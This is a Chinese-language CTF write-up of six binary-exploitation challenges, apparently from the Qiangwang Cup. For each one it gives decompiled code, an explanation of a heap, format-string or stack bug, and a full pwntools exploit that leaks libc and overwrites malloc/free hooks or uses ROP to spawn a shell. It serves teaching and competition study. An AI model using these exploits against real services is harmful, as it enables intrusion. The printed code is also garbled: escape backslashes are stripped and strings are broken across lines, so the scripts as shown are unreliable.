0x1 direct
程序分析
add 函数
my_write("Index: ");
result = my_scanf();
idx = result;
if ( result <= 0xF )
{
result = chunk_addr[result];
if ( !result )
{
my_write("Size: ");
result = my_scanf();
size = result;
if ( result <= 0x100 )
{
addr = malloc(result);
if ( addr )
{
chunk_addr[idx] = addr;
chunk_size[idx] = size;
result = my_write_1("Done!");
}
else
{
result = my_write_1("allocate failed");
}
}
}
}
return result;
可以分配 16 个 chunk ,并且分配的大小不超过 0x100 ,将分配 chunk 的 addr 和 size 存进对应的 bss 段数组中。
edit 函数
if ( opendir_flag )
{
my_write("Index: ");
result = my_scanf();
idx = result;
if ( result <= 0xF )
{
result = chunk_addr[result];
if ( result )
{
my_write("Offset: ");
offset = my_scanf();
my_write("Size: ");
size = my_scanf();
nbytes = size;
write_end = offset + size;
result = chunk_size[idx];
if ( write_end <= (signed __int64)result )
{
my_write("Content: ");
read(0, (void *)(chunk_addr[idx] + offset), nbytes);
result = my_write_1("Done!");
}
}
}
}
可以编辑 chunk 中 offset 偏移处开始的内容。
show 函数
my_write("Index: ");
result = my_scanf();
v1 = result;
if ( result <= 0xF )
{
result = chunk_addr[result];
if ( result )
{
free((void *)chunk_addr[v1]);
chunk_addr[v1] = 0LL;
result = (unsigned __int64)chunk_size;
chunk_size[v1] = 0LL;
}
}
菜单上写得是 show 函数,实际却是执行 free 操作,将 chunk free 掉,并将 bss 段对应数组的值置 0 。
open_file
if ( !opendir_flag )
{
dirp = opendir(".");
if ( !dirp )
exit(-1);
opendir_flag = 1;
result = my_write_1("Done!");
}
return result;
用于打开当前目录。
close_file
if ( opendir_flag )
{
result = (unsigned __int64)readdir(dirp);
v1 = (struct dirent *)result;
if ( result )
{
my_write("Filename: ");
result = my_write_1(v1->d_name);
}
}
return result;
打印当前目录的文件名。
利用过程
这题的漏洞在于 edit 中的 offset 可以输入负值,这样就能修改 chunk 的 size ,造成 overlap ;分配 chunk 在 dir 中的踩出 libc 地址,通过 close_file 泄露 libc ;最后 fast bin 打 free hook get shell 。
overlap
add(0,0x18) # 0
add(1,0x18) # 1
open_file()
add(2,0x18) # 2
edit(0,-8,8,p64(0x8081))
gdb-peda$ x /80xg 0x55a13199f250
0x55a13199f250: 0x0000000000000000 0x0000000000008081
0x55a13199f260: 0x0000000000000000 0x0000000000000000
0x55a13199f270: 0x0000000000000000 0x0000000000000021
0x55a13199f280: 0x0000000000000000 0x0000000000000000
0x55a13199f290: 0x0000000000000000 0x0000000000008041
0x55a13199f2a0: 0x0000000000000003 0x0000000000008000
0x55a13199f2b0: 0x0000000000000000 0x0000000000000000
0x55a13199f2c0: 0x0000000000000000 0x0000000000000000
0x55a13199f2d0: 0x0000000000000000 0x0000000000000000
修改 chunk 0 的size 为 0x8081,等后面 free 掉 chunk 0 就可以造成 overlap 。
leak libc
close_file()
delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()
p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + 'x00x00') + 0x7f7e842f4000 - 0x7f7e846dfca0 // libc_start_addr - main_arena+96_addr
gdb-peda$ x /80xg 0x55a13199f250
0x55a13199f250: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x55a13199f260: 0x00007f7e846e03f0 0x00007f7e846e03f0
0x55a13199f270: 0x000055a13199f250 0x0000000000000081 <-- chunk 1 ; chunk 3
0x55a13199f280: 0x00007f7e846dfca0 0x00007f7e846dfca0
0x55a13199f290: 0x0000000000000000 0x0000000000000000
0x55a13199f2a0: 0x0000000000000003 0x0000000000008000
0x55a13199f2b0: 0x0000000000000150 0x000000000000627a
0x55a13199f2c0: 0x0000000000000040 0x0000000000000000
0x55a13199f2d0: 0x00000000ffffffff 0x0000000000000020
0x55a13199f2e0: 0x040000002e040018 0x00000000ffffffff <-- d_name 1
0x55a13199f2f0: 0x0000000000000040 0x6262626262626262 <-- d_name 2 ; chunk 4
0x55a13199f300: 0x00007f7e846dfca0 0x00007f7e846dfca0
0x55a13199f310: 0x0000000000000000 0x0000000000000000
0x55a13199f320: 0x00000000ffffffff 0x0000000000000088
运行一次 close_file , dir 中会记录当前目录的文件名或目录名。比如 0x55a13199f2e0 记录了当前目录第一个目录名 “.” ,也就是 2e ,
0x55a13199f2f0 处记录了当前目录第二个目录名,正常应为 2e2e ,也就是 “..” 。不过这里已经使用 edit 函数覆盖为 “bbbbbbbb” ,目的是在 leak 不会因为 x00 而截断。 0x55a13199f300 处有我们通过分配 chunk 4 踩出的 main_arena 地址,这样在 my_write_1(v1->d_name) 时就能 leak 出 main_arena 地址。
delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/shx00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)
后面的步骤就简单了,从上步我们知道 chunk 1 跟 chunk 3 指向同一个 chunk ,可以当成 uaf 使用,直接 tcache chunk attack 打 free_hook 为 system 即可。
exp
from pwn_debug import *
file_name = 'direct'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('local')
elf = pdbg.elf
libc = pdbg.libc
#elf = ELF(file_name)
#libc = ELF(libc_name)
def add(idx,size):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def edit(idx,offset,size,content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Offset: ',str(offset))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',str(content))
def delete(idx):
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('Index: ',str(idx))
def open_file():
p.sendlineafter('Your choice: ',str(4))
def close_file():
p.sendlineafter('Your choice: ',str(5))
add(0,0x18) # 0
add(1,0x18) # 1
open_file() # 2
add(2,0x18)
edit(0,-8,8,p64(0x8081))
close_file()
delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()
p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + 'x00x00') + 0x7ffff79e4000-0x7ffff7dcfca0
print hex(libcbase_addr)
delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/shx00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)
p.interactive()
ps:这题是按本机及目录环境调试的,在用 docker 复现时发现目录环境不一样导致 exp 失败,也不知道比赛时具体的环境是怎么样的...
0x2 强网先锋 Just_a_Galgame
程序分析
程序有五个功能
Send her a little gift
if ( times_can_send_gift <= 0 )
{
puts("Emmm...Alright. Thank you.");
}
else
{
--times_can_send_gift;
puts("
Hotaru: Wow! Thanks~
");
heaplist[6 - times_can_send_gift] = (__int64)malloc(0x68uLL);
puts("[ You've hold some place in her heart! ]");
}
continue;
分支 1 ,而可以分配 0x68 大小的 chunk ,最多能分配 7 个 chunk 。
Invite her to go to a movie
if ( times_can_see_movie <= 0 || times_can_send_gift > 6 )
{
puts("
Hotaru: Emmm...Sorry I should go home now. Maybe the next time.
");
}
else
{
puts("
Hotaru: Okay~ Let's choose a movie!
");
--times_can_see_movie;
printf("idx >> ", &buf);
read(0, &buf, 0x10uLL);
if ( heaplist[atoi((const char *)&buf)] )
{
printf("movie name >> ", &buf);
idx = atoi((const char *)&buf);
read(0, (void *)(heaplist[idx] + 96), 0x10uLL);
puts("
Hotaru: What a good movie! I like it~
");
puts("[ You've gained a lot favor of her! ]");
}
else
{
puts("[ The movie is not exist. ]");
++times_can_see_movie;
}
}
continue;
分支 2 ,可以对某个 chunk 的 96 偏移处写入 0x10 大小的内容,最多编辑 1 次。注意这里没有对 idx 检查,也就是我们可以往数组外的指针写入内容。
Confess to her
if ( times_to_confess <= 0 || times_can_send_gift > 6 )
{
puts("
Hotaru: Sorry, I think it's better for us to be friends.
");
}
else
{
--times_to_confess;
puts("You are the apple of my eyes too!");
qword_404098 = (__int64)malloc(0x1000uLL);
++times_can_see_movie;
}
continue;
分支 3 ,分配一个 0x1000 大小的 chunk ,最多分配一次 。将分支 2 编辑次数加一。
Collection
puts("Reciew your cgs >> ");
while ( idx_1 <= 6 - times_can_send_gift )
{
printf("%d: %s
", (unsigned int)idx_1, heaplist[idx_1]);
++idx_1;
}
continue;
分支 4 ,可以看作是 show 函数。
Leave
puts("
Hotaru: Won't you stay with me for a while? QAQ
");
read(0, &unk_4040A0, 8uLL);
v7 = 8LL;
v8 = "No bye!";
v9 = &unk_4040A0;
do
{
if ( !v7 )
break;
v5 = (const unsigned __int8)*v8 < *v9;
v6 = *v8++ == *v9++;
--v7;
}while ( v6 );
if ( (!v5 && !v6) != v5 )
{
puts("
(='3'=)>daisuki~
");
continue;
}
return 0LL;
分支 5 ,如果输入的字符串为 “No bye!” 则退出。这里重点是写入的内容记录在了 unk_4040A0 处,作用留在后面讲。
利用过程
leak libc
题目给了提示 house of orange ,那就先 house of orange 获得 unsorted bin chunk ,在 unsorted bin 中踩出 main_arena 地址,通过分支 4 打印出来即可。
add()
edit(0,'x00' * 8 + p64(0xd41))
add_big()
add()
show()
p.recvuntil('1: ')
addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)
edit __malloc_hook
leak libc 后我们可以计算出 __malloc_hook 的地址,但是我们现在就只有一次调用分支 2 的机会,要怎么将 one_gadget 写入 __malloc_hook 呢?这里要用到分支 5 中的 unk_4040A0 。先看下 bss 中的布局:
.bss:0000000000404060 heaplist
...
.bss:0000000000404098 qword_404098
.bss:00000000004040A0 unk_4040A0
如果我们在 0x4040A0 写入 __malloc_hook - 96 的地址,通过控制分支 2 中的 idx 就可以将 one_gadget 写入 __malloc_hook 。再次调用 malloc 即可 get shell 。
p.sendafter('>> ',str(5))
p.sendafter("
Hotaru: Won't you stay with me for a while? QAQ
",p64(malloc_hook - 96))
edit(8,p64(onegadget))
p.sendafter('>> ',str(1))
exp
from pwn_debug import *
file_name = 'Just_a_Galgame'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')
#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)
def add():
p.sendafter('>> ',str(1))
def edit(idx,name):
p.sendafter('>> ',str(2))
p.sendafter('idx >> ',str(idx))
p.sendafter('movie name >> ',name)
def add_big():
p.sendafter('>> ',str(3))
def exit():
p.sendafter('>> ',str(5))
p.sendafter("
Hotaru: Won't you stay with me for a while? QAQ
",'No bye!' + 'x00')
def show():
p.sendafter('>> ',str(4))
add()
edit(0,'x00' * 8 + p64(0xd41))
add_big()
add()
show()
p.recvuntil('1: ')
addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)
p.sendafter('>> ',str(5))
p.sendafter("
Hotaru: Won't you stay with me for a while? QAQ
",p64(malloc_hook - 96))
edit(8,p64(onegadget))
p.sendafter('>> ',str(1))
#gdb.attach(p)
p.interactive()
0x3 强网先锋 Siri
程序分析
v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
return 0LL;
memset(&s, 0, 0x110uLL);
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(&s);
puts(&::s);
return 1LL;
程序存在格式化字符串漏洞,所以思路就是格式化字符串漏洞 leak stack_addr 跟 libc ,然后写返回地址为 one_gadget 即可。
利用过程
这里需要注意一点, &s 是用 sprintf 写入的,而 sprintf 存在 'x00' 截断。
如果我们想要以每次修改 2 字节的方式修改 ret_addr ,那必然会有如下栈布局:
stack_ret_addr: ret_addr
stack_input_addr: fmtstr
stack_input_addr + len(fmtstr): stack_ret_addr
stack_input_addr + len(fmtstr) + 8: stack_ret_addr + 2
stack_input_addr + len(fmtstr) + 16: stack_ret_addr + 4
而本题的栈地址都是 6 字节,高位两字节为 'x00' ,而 sprintf 存在 'x00' 截断,这样导致 &s 中只能写入一个地址:
stack_input_addr: fmtstr
stack_input_addr + len(fmtstr): stack_ret_addr
stack_input_addr + len(fmtstr) + 8: 0
stack_input_addr + len(fmtstr) + 16: 0
这给利用带来了很大的麻烦,不过 &s 虽然被截断了,可是 a1 并没有, a1 是在主函数中通过 read 输入的,也就是保存了完整的三个地址,我们在写格式化字符串时将偏移改到这三个地址即可:
pwndbg> stack 55
00:0000│ rsp 0x7ffc546054e0 —▸ 0x7f31c39d4170 —▸ 0x55a015ced000 ◂— 0x10102464c457f
01:0008│ 0x7ffc546054e8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
02:0010│ 0x7ffc546054f0 —▸ 0x7ffc54605700 ◂— 0x0
03:0018│ 0x7ffc546054f8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
04:0020│ rdi 0x7ffc54605500 ◂— 0x202c4b4f203e3e3e ('>>> OK, ')
05:0028│ 0x7ffc54605508 ◂— 0x6d6572206c6c2749 ("I'll rem")
06:0030│ 0x7ffc54605510 ◂— 0x20756f7920646e69 ('ind you ')
07:0038│ 0x7ffc54605518 ◂— 0x3037373325206f74 ('to %3770')
08:0040│ 0x7ffc54605520 ◂— 0x6e68243535256336 ('6c%55$hn')
09:0048│ 0x7ffc54605528 ◂— 0x2563373837373725 ('%77787c%')
0a:0050│ 0x7ffc54605530 ◂— 0x3834256e68243635 ('56$hn%48')
0b:0058│ 0x7ffc54605538 ◂— 0x2437352563333131 ('113c%57$')
0c:0060│ 0x7ffc54605540 ◂— 0x5628616161616e68 ('hnaaaa(V')
0d:0068│ 0x7ffc54605548 ◂— 0x7ffc5460 <-- &s 中的地址
0e:0070│ 0x7ffc54605550 ◂— 0x0 <-- 可以看到被截断了,只写入了一个地址
... ↓
26:0130│ 0x7ffc54605610 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push r15
27:0138│ 0x7ffc54605618 ◂— 0x1bffca4fa2735300
28:0140│ rbp 0x7ffc54605620 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push r15
29:0148│ 0x7ffc54605628 —▸ 0x55a015cee44c ◂— test eax, eax
2a:0150│ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
2b:0158│ r8-5 0x7ffc54605638 ◂— 0x373325206f742065 ('e to %37')
2c:0160│ 0x7ffc54605640 ◂— 0x2435352563363037 ('706c%55$')
2d:0168│ 0x7ffc54605648 ◂— 0x3738373737256e68 ('hn%77787')
2e:0170│ 0x7ffc54605650 ◂— 0x256e682436352563 ('c%56$hn%')
2f:0178│ 0x7ffc54605658 ◂— 0x3525633331313834 ('48113c%5')
30:0180│ 0x7ffc54605660 ◂— 0x616161616e682437 ('7$hnaaaa')
31:0188│ 0x7ffc54605668 —▸ 0x7ffc54605628 —▸ 0x55a015cee44c ◂— test eax, eax <-- a1 中的三个地址
32:0190│ 0x7ffc54605670 —▸ 0x7ffc5460562a ◂— 0x6552000055a015ce
33:0198│ 0x7ffc54605678 —▸ 0x7ffc5460562c ◂— 0x696d6552000055a0
34:01a0│ 0x7ffc54605680 ◂— 0x0
exp
from pwn_debug import *
file_name = 'Siri'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')
#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)
p.sendlineafter('>>> ','Hey Siri!')
p.sendlineafter('>>> What Can I do for you?','Remind me to aaaa%46$lx,bbbb%83$lx')
p.recvuntil('aaaa')
stack_addr = int(p.recv(12),16)
p.recvuntil('bbbb')
libc_start_main_231 = int(p.recv(12),16)
print hex(stack_addr)
print hex(libc_start_main_231)
libc_base = libc_start_main_231 - 231 - libc.symbols['__libc_start_main']
one_gadget = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + one_gadget[0]
ret_addr = stack_addr - 0x118
print 'onegadget:' + hex(onegadget)
print 'ret_addr:' + hex(ret_addr)
print 'libc_base:' + hex(libc_base)
a1 = onegadget % (16 ** 4)
a2 = (onegadget / (16**4)) % (16**4)
a3 = onegadget / (16**8)
print '' + hex(a1) + ',' + hex(a2) + ',' + hex(a3)
payload = 'Remind me to '
payload += '%'
payload += str(a1 - 27)
payload += 'c%55$hn'
payload += '%'
payload += str(0x10000 + a2 - a1)
payload += 'c%56$hn'
payload += '%'
payload += str(0x10000 + a3 - a2)
payload += 'c%57$hn'
payload = payload.ljust(0x38,'a')
payload += p64(ret_addr)
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)
payload1 = 'Remind me to aaa' + fmtstr_payload(50,{ret_addr:onegadget},30,'short')
p.sendlineafter('>>> ','Hey Siri!')
#gdb.attach(p)
p.sendafter('>>> What Can I do for you?',payload)
#gdb.attach(p)
p.interactive()
0x4 强网先锋 babymessage
程序分析
分支 1 能向 bss 段中写入 4 字节数据。
puts("name: ");
name[(signed int)read(0, name, 4uLL)] = 0;
puts("done!
");
分支 2
puts("message: ");
v1 = read(0, &v3, a1);
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!
");
分支 2 能向栈中写入 a1 大小的数据。
message_size = dword ptr -4
.text:0000000000400980 cmp eax, 2
.text:0000000000400983 jnz short loc_4009A1
.text:0000000000400985 cmp [rbp+message_size], 100h
.text:000000000040098C jle short loc_400995
.text:000000000040098E mov [rbp+message_size], 100h
如果 message_size 大于等于 256 ,则取 256 。
利用过程
栈溢出长度不够,只能溢出到 rbp ,我们要想办法让 message_size >= 256 ,这样我们就可以往栈上输入 256 字节的内容。 message_size 在栈上 rbp - 4 处。我们可以通过分支 1 往 bss 段输入一个大于 256 的值,然后通过覆盖 rbp 为输入值地址 + 4 ,这样就能绕过判断,使得我们可以往栈上输入 256 字节,后面就是常规的 rop 即可。
exp
from pwn import *
file_name = './babymessage'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)
libc = ELF('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
#libc = elf.libc
name = 0x6010D0
pop_rdi = 0x400ac3
start = 0x4006E0
ret = 0x400646
p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))
payload = 'a' * 16 + flat([pop_rdi,elf.got['puts']],elf.plt['puts'],p64(start))
p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)
puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/shx00').next()
#one_gadget = [0x4f365,0x4f3c2,0x10a45c]
#onegadget = libc_base + 0x10a45c
p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))
payload = 'a' * 16 + flat([ret,pop_rdi,binsh,system]) #加个 ret 使得靶机栈对齐
#payload = 'a' * 16 + p64(onegadget)
p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)
p.interactive()
0x5 强网先锋 babybnotes
程序分析
memset(&s, 0, 0x50uLL);
motto_addr = (char *)malloc(0x100uLL);
name_addr = (char *)malloc(0x18uLL);
puts("Input your name: ");
if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
exit(0);
puts("Input your motto: ");
if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
exit(0);
puts("Input your age: ");
__isoc99_scanf("%lld", &v2);
strcpy(name_addr, &s);
strncpy(motto_addr, (const char *)&v3, 0x20uLL);
age = v2;
程序漏洞出现在 regist 函数中,如果我们将 name 输入 16 个字节,那么 strcpy 就会将 age 的值也赋值到 name_addr 中,类似于 off-by-one 。我们可以利用这点造 overlap 。
程序利用
思路很简单, 造 unsorted bin 来 leak libc ,然后造 overlap ,通过 fastbin attack 打 malloc_hook 拿 shell 。
add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)
分配一个 unsorted bin chunk ,然后通过 show 函数来泄露 libc 。
delete(0)
delete(1)
add(4,0x60)
add(5,0x100)
add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3
edit(2,'x00' * 0x18 + p64(0x30)) # 绕过 malloc(): memory corruption (fast)
delete(0)
delete(2)
rest('a' * 0x18,'aaaa',0x61) # 改 size 造 overlap
delete(1)
布置对应的环境,使得满足 free 时的检测,然后通过 regist 函数中的 of-by-one ,将 chunk 1 的 size 改大,然后 free 掉,这样我们再次分配回改大的 chunk 时就可以通过 edit 控制 chunk 2 的 fd 指针。
add(0,0x50)
edit(0,'x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))
add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)
p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))
fastbin attack ,分配到 malloc_hook 附近的块,然后通过 edit 修改 malloc_hook 为 onegadget ,再次调用 malloc 即可。
exp
from pwn import *
file_name = './babynotes'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)
#libc = elf.libc
libc = ELF(libc_name)
def add(idx,size):
p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(idx))
p.sendlineafter('Input note size: ',str(size))
def show(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('Input index: ',str(idx))
def delete(idx):
p.sendlineafter('>> ','3')
p.sendlineafter('Input index: ',str(idx))
def edit(idx,notes):
p.sendlineafter('>> ','4')
p.sendlineafter('Input index: ',str(idx))
p.sendafter('Input your note: ',notes)
def rest(name,motto,age):
p.sendlineafter('>> ','5')
p.sendafter('Input your name: ',name)
p.sendafter('Input your motto: ',motto)
p.sendlineafter('Input your age: ',str(age))
p.sendafter('Input your name: ','jkl')
p.sendafter('Input your motto: ','aaaa')
p.sendlineafter('Input your age: ',str(0x18))
add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)
delete(0)
delete(1)
add(4,0x60)
add(5,0x100)
add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3
edit(2,'x00' * 0x18 + p64(0x30))
delete(0)
delete(2)
rest('a' * 0x18,'aaaa',0x61)
delete(1)
add(0,0x50)
edit(0,'x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))
add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)
p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))
#gdb.attach(p)
p.interactive()
0x6 easypwn
程序分析
for ( i = -1; ; *(_BYTE *)(addr + i) = buf )
{
v5 = i;
if ( i + 1 >= (unsigned int)(size + 1) )
break;
if ( size - 1 == v5 )
{
buf = 0;
*(_BYTE *)(addr + ++i) = 0;
return __readfsqword(0x28u) ^ v6;
}
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
exit(-1);
if ( buf == 10 )
return __readfsqword(0x28u) ^ v6;
++i;
}
return __readfsqword(0x28u) ^ v6;
程序漏洞出现在输入函数,存在 off-by-null 漏洞。同时程序没有 show 函数,需要想办法 leak libc 。
if ( !mallopt(1, 0) )
exit(-1);
程序还关闭了 fastbin ,对我们的利用造成不便。
利用过程
思路就是首先通过 off-by-null 造 overlap ,然后通过 unsorted bin attack 修改 global_max_fast 为一个较大的值。通过猜测一位来爆破 stdout ,利用 stdout leak libc ,最后 fast bin attack 打 malloc_hook 即可。
add(0x68) # 0
add(0x68) # 1
add(0x68) # 2
add(0x68) # 3
add(0xf8) # 4
add(0x68) # 5
add(0x18) # 6
add(0x18) # 7
delete(0)
edit(3,'a' * 0x60 + p64(0x1c0))
delete(6)
delete(4)
构造 7 个 chunk ,在 chunk 4 中 伪造 prev_size ,然后通过 off-by-null 将 inuse 位置 0 ,这样 free chunk 4 就能得到前五个 chunk 合并的大 chunk ,造成了 overlap 。
add(0x68)#0
add(0x68)#4
add(0x68)#6
edit(3,"a"*8+"xe8x37
")
add(0x168)
unsorted bin attack 将 global_max_fast 修改为较大的值,这里是直接猜测的地址,爆破概率 1/16 。
delete(2)
delete(1)
edit(4,"x00
")
edit(0,"xddx25
")
add(0x68)#1
add(0x68)#2
add(0x68)#9
edit(9,"x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "x00
")
p.recvuntil("x7fx00x00")
addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
print hex(addr)
fast bin attack 将 chunk 分配至 _IO_2_1_stdout 附近,这里也是直接猜测的地址,爆破成功率 1/16 ,然后通过修改 _IO_write_base 达到 leak libc 的目的。
p.sendline("3")
p.sendlineafter(":
","2")
edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"
")
add(0x68)
add(0x68)
edit(10,"x00"*0x13+p64(addr+0xf0364)+"
")
#gdb.attach(p)
add(0x10)
p.interactive()
再次 fast bin attack 打 malloc_hook 为 onegadget ,最后调用 malloc 即可 get shell 。
exp
from pwn import *
file_name = './easypwn'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)
#libc = elf.libc
libc = ELF(libc_name)
def add(size):
p.sendlineafter(":
",str(1))
p.sendlineafter(":
",str(size))
def edit(index,note):
p.sendlineafter(":
",str(2))
p.sendlineafter(":
",str(index))
p.sendafter(":
",note)
def delete(index):
p.sendlineafter(":
",str(3))
p.sendlineafter(":
",str(index))
for i in range(100):
try:
p = remote('0.0.0.0',9997)
add(0x68) # 0
add(0x68) # 1
add(0x68) # 2
add(0x68) # 3
add(0xf8) # 4
add(0x68) # 5
add(0x18) # 6
add(0x18) # 7
delete(0)
edit(3,'a' * 0x60 + p64(0x1c0))
delete(6)
delete(4)
add(0x68) # 0
add(0x68) # 4 1
add(0x68) # 6 2
edit(3,"a" * 8 + "xe8x37
")
add(0x168)
delete(2)
delete(1)
edit(4,"x00
")
edit(0,"xddx25
")
add(0x68)#1
add(0x68)#2
add(0x68)#9
edit(9,"x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "x00
")
p.recvuntil("x7fx00x00")
addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
print hex(addr)
p.sendline("3")
p.sendlineafter(":
","2") # 0 2
edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"
")
add(0x68)
add(0x68)
edit(10,"x00"*0x13+p64(addr+0xf0364)+"
")
add(0x10)
#gdb.attach(p)
p.interactive()
except:
print "fail"
